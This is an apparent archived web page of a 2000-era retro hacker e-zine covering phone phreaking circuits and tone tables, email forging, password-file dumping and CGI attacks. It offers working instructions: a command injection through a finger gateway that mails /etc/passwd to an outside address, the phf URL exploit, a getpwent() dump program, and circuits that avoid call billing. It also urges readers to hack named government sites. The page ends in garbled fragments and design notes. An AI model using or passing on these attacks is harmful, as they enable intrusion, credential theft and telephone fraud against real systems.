Issue #1


Welcome to the first (and possibly only!) issue of Retro Hacking World. It's an e-zine for the computer underground written as if it's still 1985!

Jargon File Entry Of The Week

BUCKYBITS (primarily Stanford) noun> The bits produced by the CTRL and META shift keys on a Stanford (or Knight) key- board. Rumor has it that the idea for extra bits for characters came from Niklaus Wirth, and that his nick- name was "Bucky."

hack /hak/ noun 1. Originally a quick job that produces what is needed, but not well. 2. The result of that job.
phreaking /freek'ing/noun [from `phone phreak']
1. The art and science of cracking the phone network to make free long-distance calls, for example. 2. By extension, security-cracking in any other context (especially, but not exclusively, on communications networks)


This issue we look at the fundamentals of phreaking - tones and pulses - both can be used to garner free calls from your local friendly telco :-)


Pulse dialing with the hook switch.

This is a well known method of getting around locks on rotary dial phones and may also be usefull on really stupid COCOT-type private payphones. Old rotary dial phones use loop disconnect signaling. As the dial returns, each click disconnects the line for a few tens of milliseconds. With a bit of practise you can dial numbers by tapping the hook switch. One tap to dial 1. Two taps to dial 2. tens taps to dial a 0.


Blueboxing

Blueboxing trunk lines with the uk died many years ago with the coming of system X. Some other countrys still have ancient exchange equipment to blue boxing can still be, and may be exploited by the uk phreak if she can find a way to reach such a countrys phone system without paying for an international phone call but it defeats the point.

It is still possible to bluebox some connections from the UK where a call passes from one phone company to another and in-band signalling is used. C5 or R2 signalling my be used for compatability even if both phone companys have more modern equipment.

   TONE MATRIX TO USE ONCE CONNECTED
   700:  1  :  2  :  4  :  7  :  11  :
   900:  +  :  3  :  5  :  8  :  12  :
  1100:  +  :  +  :  6  :  9  :  KP  :
  1300:  +  :  +  :  +  :  10 :  KP2 :
  1500:  +  :  +  :  +  :  +  :  ST  :
       900  :1100 :1300 :1500 : 1700 :
 
USE KP (1700+1100) TO START A CALL AND ST (1500+1700) TO STOP. USE 2600 HZ TO CONNECT/DISCONNECT.


Current Limit

Heres's an old one that might still work on a few exchanges.
This is the circuit for a device you can attach in line with your telephone which avoids people phoning you being billed for the call. This circuit fools the local exchange into thinking the phone is still ringing although you have answered it. It limits the current draw from the phone line to a level below that needed to activate a relay in mechanical exchanges. Use of this circuit often resulted in a crossed line because the exchange thought the trunk line was free.

 Neg.                    RED    ______
 o___.___._||5mfd__.____________|     |
     |   | ||      |            |  P  |
     |   |         /  240 Ohm   |  H  |
     |   |________o o__/X/_.    |  O  |
P.B. o        Norm   Free  |    |  N  |
    >                     ---   |  E  |
     .             6volts-----  |     |
     |                    ---   |     |
     |                     |    |     |
 o___._____________________.____|_____|
 Pos.                  GREEN


2600 Tone Circuit

Yes! More ASCII art, I'm afraid. But this classic circuit will produce a tone of 2600 Hz for all your phreaking needs!


                +---+---------------------------+
                |   |                           |
                |   V      1k                   |
                | /\/\/-+-/\/\/-+-------------+ |
          +-----+  5k   |       |             | |
          |  ---|-------|-------|--------|--- | |
pshbtn  | o  |  8       7       6        5  | | |
switch -+    |                              | | |
        | o  |||          5 5 5             | | |
          |  |||          TIMER             | | |
          |  |                              | | |
  (+)-----+  |  1       2       3        4  | | |
9 volts      ---|-------|-------|--------|--- | |
  (-)-----------+       |       |        |    | |
                |       +---------------------+ |
                | 3.3uF         |        |      |
                +-->|--------------------+------+
                |               |
        4.7uF  \_/              |
               ---              |
                |(+)            |
                |     _____     |
                +---| 8ohm |----+
                   /__SPKR__\

Hacking
hacking /hak'ing/noun
1. Originally a quick job that produces what is needed, but not well. 2. The result of that job.

A bit of a mixed bag, here.


Fake E-mail

  1. Telnet to port 25 of any internet server (eg. telnet site.name.and.address 25)
  2. Type: HELO (unfortunate, I know, but often needed)
  3. Type: rcpt to (person to receive fake mail){ENTER}
  4. Type: mail from (fake name and address){ENTER}
  5. Type: data{ENTER}
  6. The first line of the message will be the Subject line
  7. Enter your letter
  8. To send letter type a "." on an empty line.
  9. Then type quit{ENTER}
  10. This is traceable by any sysadmin ... don't harass people this way.
  11. If the person receiving the mail uses a shell like elm he/she will not see the telltale fake message warning "Apparently-To:(name)" even if not, most people wouldn't know what it means anyway.

Keyboard stuff

You can generate arbitary ASCII codes on a PC keyboard by holding down ALT on your keyboard and typing a three digit number on the numeric keypad.

This came in handy for hiding files files on computers running DOS in the pre DOS 5 days. Create a directory with an odd charcter in the name and it would prevent most people from getting at your games. ALT 123 appear to be a ohms sysbol on DOS machines and was easy to remember.

Ever wondered what ALT GR is for? Non english keyboards use alt gr as a third shift key. They have three symbols on many of the keys for accentted letters and suchlike. On US and UK keyboards the only key with three characters is usually the one below the escape key. Holding altgr and pressing that keys produces the pipe symbol.


Password shadowing

What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example:

#include 
main()
{
struct passwd *p;

 while(p=getpwent())
 printf("%s:%s:%d:%d:%s:%s:%s\n", 
  p->pw_name, p->pw_passwd,
  p->pw_uid, p->pw_gid, p->pw_gecos, 
  p->pw_dir, p->pw_shell);
}
(from the alt.2600 FAQ)


Hacking from your Web Browser

by Modify of Technophoria

This file will describe several techniques to aquire a password file just by using an ordinary web browser. The information provided will be best described for the beginner hacker, but all hackers should benifit from this information. We will only cover phf in this file but, feel free to explore other programs in the cgi directory such as nph-test-cgi or test-cgi. And now . . . get comfortable... sit back.... and read.

There are several techniques on what I call "Web Browser Hacking". Many beginners dont know that you cant query a etc/passwd file from your browser and in this chapter I will describe all the ways to aquire a passwd file. First you need to find a box that is running the cgi-bin/phf file on their system. A great way to find out without trial and error is to go to www.altavista.com and just search on cgi-bin AND perl.exe or cgi-bin AND phf.


Finger box hacking:
Lets say you wanted to break into somewhere like .... hmmmm AOL. The first thing we would do is type in their web site in the URL: Http://www.aol.com. The next thing we would do is add /cgi-bin/finger to the web URL so it would look like this Http:// www.aol.com/cgi-bin/finger. If the finger gateway is operational a box should appear for you to enter the name you want to finger. If it is operational you have a chance to receive the etc/passwd file. Next thing you will probably want to do is search for a mailto on the web page... just scan the page for any mailto refs. Go back to the finger box and type in this query...... nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd ...this string takes nobody and emails the passwd file to your email address. If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

The common cgi-bin/phf query:
This section is for the very beginning hacker (All advanced hackers need not apply) Lets take the same scenerio from the first example except in the URL we would type ... Http://www.aol.com/cgi-bin/phf ... if the phf is operational and has not been removed you should get a series of search boxes on the next page ( ignore these boxs) to your URL you would add this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire string would look like this Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20 /etc/passwd. This string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. (This is considering that they are not :*: or :x:).

About the site

This site was created following a discussion about the A4 monitors at Xerox Parc. Even now, nearly 30 years on, we can only get A4 displays on handhelds. Progress? Hardly.

So we built a site that would only look 'right' when viewed on an A4 display. Or, failing that, a monitor turned onto its side!

For content we chose a 'hacking' theme with old news. This was for two reasons,
1) a little retro-chic 2) we wouldn't have to worry about compromising system security since any flaws should have been fixed by now :-)

It was incorporated in the 'Blue Dust' think tank in September 2000.


Why?

We had too much time on our hands! Any questions?

Credits

The site was conceived by Spider & Bob Smith

Original Graphics by Bob Smith

Coding and graphics by Spider

Original articles by Bob Smith

Other articles from alt.2600

Site design and production ©2000. All Rights Reserved



E-mail
spider@BlueDust.com



This site was concieved, designed, coded, drawn, produced, editted, re-edittable and generally fussed over by us two!

Links - 2 Learn

Try out these links for the latest news, best interviews and interesting features.

2600 - Speaks for itself
2600 London - The local group of both authors
Phrack - How many hours have I spent reading this?
CCC - Germanys Chaos Computer Club
And of course, BugTraq, et al...

Links - 2 Hack

Prove your metle by hacking these sites. We do not authorise or condone this action, of course!

Nasa
The Pentagon
The Whitehouse
Micro$oft
(sorry, the last one's already been done :-)

Links - 2 Relax

Kick back in pipe and slippers with these URLs!

Freshmeat
Star Wars
TrekGuide.com
Brickshelf.com

Links - 2 Get

Download sites for useful (and not so useful) stuff.

Debian.org
tucows.com
jumbo.com
linux.org.uk





Parts:555 timer I.C. 8 ohm speaker 9 volt battery & connector Pushbutton switch 5k potentiometer 1k ohm resistor 4.7 micro-farad capacitor 3.3 micro-farad capacitor | --+-- = connection | | ----- = no connection |
:link rot: n. The natural decay of web links as the sites they're connected to change or die. Compare {bit rot}.      This week's obscure term:
BUCKY BITS (primarily Stanford) noun> The bits produced by the CTRL and META shift keys on a Stanford (or Knight) key- board. Rumor has it that the idea for extra bits for characters came from Niklaus Wirth, and that his nick- name was "Bucky."

----- Original mail: The following info comes from a leaflet entitled 'FREEFONE': "British Telecom's recent record profits and continuing appalling service have prompted the circulation of this information. It comprises a method of making telephone calls free of charge." Circuit Diagram: O---o------- -------o----O : ! ! : : ! ! : L o-------- --------o P I ! ! H N ! ! O E o-- ------ ----o N : ! ! E I ! ! : N o------- -------o : : : : : : : O---------------------------O S1 = XXX C1 = XXX D1 = XXX D2 = XXX R1 = XXX Continued... MSG#: 1029 *EREWHON* 09/25/83 23:19:17 (Read 87 Times) From xxxxxxxxxxx To: ALL Subj: FREEFONE PART 2 Circuit Operation The circuit inhibits the charging for incoming calls only. When a phone is answered, there is normally approx. IOOmA DC loop current but only 8mA or so is necessary to polarise the mic In the handset. Drawing only this small amount is sufficient to fool BT's ancient "Electric Meccano". It's extremely simple. When ringing, the polarity of the line reverses so D1 effectively answers the call when the handset is lifted. When the call is established, the line polarity reverts and R1 limits the loop current while D2 is a LED to indicate the circuit is in operation. C1 ensures speech is unaffected. S1 returns the telephone to normal. Local calls of unlimited length can be made free of charge. Long distance calls using this circuit are prone to automatic disconnection this varies from area to area but you will get at least 3 minutes before the line is closed down. Further experimentation should bear fruit in this respect. With the phone on the hook this circuit is completely undetectable. The switch should be cLosed if a call is received from an operator, for example, or to make an outgoing call. It has proved extremely useful, particularly for friends phoning from pay phones with jammed coin slots. *Please DO NOT tell ANYONE where yoU found this information*


forged login, steal the old shooting shark file phf, steal somthing

Frequencies

-------------------------------------- NEEDED CCITT - FUNCTIONS (FREQUENCIES) -------------------------------------- FUNC.- FREQUENCE Hz - SHORT INFO ! -------------------------------------- BLUE BOX FREQUENCIES:

 
  2600 HZ - USED TO GET ON/OFF TRUNK
 
  TONE MATRIX TO USE AFTER 2600 HZ.
 
   700:  1  :  2  :  4  :  7  :  11  :
 
   900:  +  :  3  :  5  :  8  :  12  :
 
  1100:  +  :  +  :  6  :  9  :  KP  :
 
  1300:  +  :  +  :  +  :  10 :  KP2 :
 
  1500:  +  :  +  :  +  :  +  :  ST  :
 
 
       900  :1100 :1300 :1500 : 1700 :
 
 
 
USE KP (1700+1100) TO START A CALL AND ST (1500+1700) TO STOP. USE 2600 HZ TO DISCONNECT. OR: 1 - 700 & 900 - TO DIAL "1" 2 - 700 & 1100 - TO DIAL "2" 3 - 900 & 1100 - TO DIAL "3" 4 - 700 & 1300 - TO DIAL "4" 5 - 900 & 1300 - TO DIAL "5" 6 - 1100 & 1300 - TO DIAL "6" 7 - 700 & 1500 - TO DIAL "7" 8 - 900 & 1500 - TO DIAL "8" 9 - 1100 & 1500 - TO DIAL "9" 0 - 1300 & 1500 - TO DIAL "0" -------------------------------------- C.11 - 700 & 1700 - INWARD OPERATOR! C.12 - 900 & 1700 - DELAY OPERATOR! KP1 - 1100 & 1700 - TERMINAL CALL! KP2 - 1300 & 1700 - TRANSIT CALL! ST - 1500 & 1700 - END OF PULSING! -------------------------------------- DHLS - 1850 - DISABLE HOLDLINE SWITCHING! --------------------------------------

Other ideas: Graphically: Shadow boxes 'E-mail to' at bottom Black LHS, with cable hanging? Content: Issue 1 (on LHS) Title page Graphics Technical: Scrolling banner (v1-all caps) Use FORMs to keep animated world turning


A blue box can: P.B = Pushbutton R = 40 x battery voltage(eg 6v=240 ohm) To calibrate: Play next to a pure 2600hz source and adjust the 5k potentiometer until the two sounds are the same. As you get closer you will hear a beat tone form and get slower and slower. When it stops, the two frequencies are equal. This takes a little practice.

ALT 124 produces the pipe symbol used in unix shells to chain the output of one command into another. This symbol is also used in C programming. The alt trick can be handy if you keyboard map is troublesome and you can't find the pipe symbol.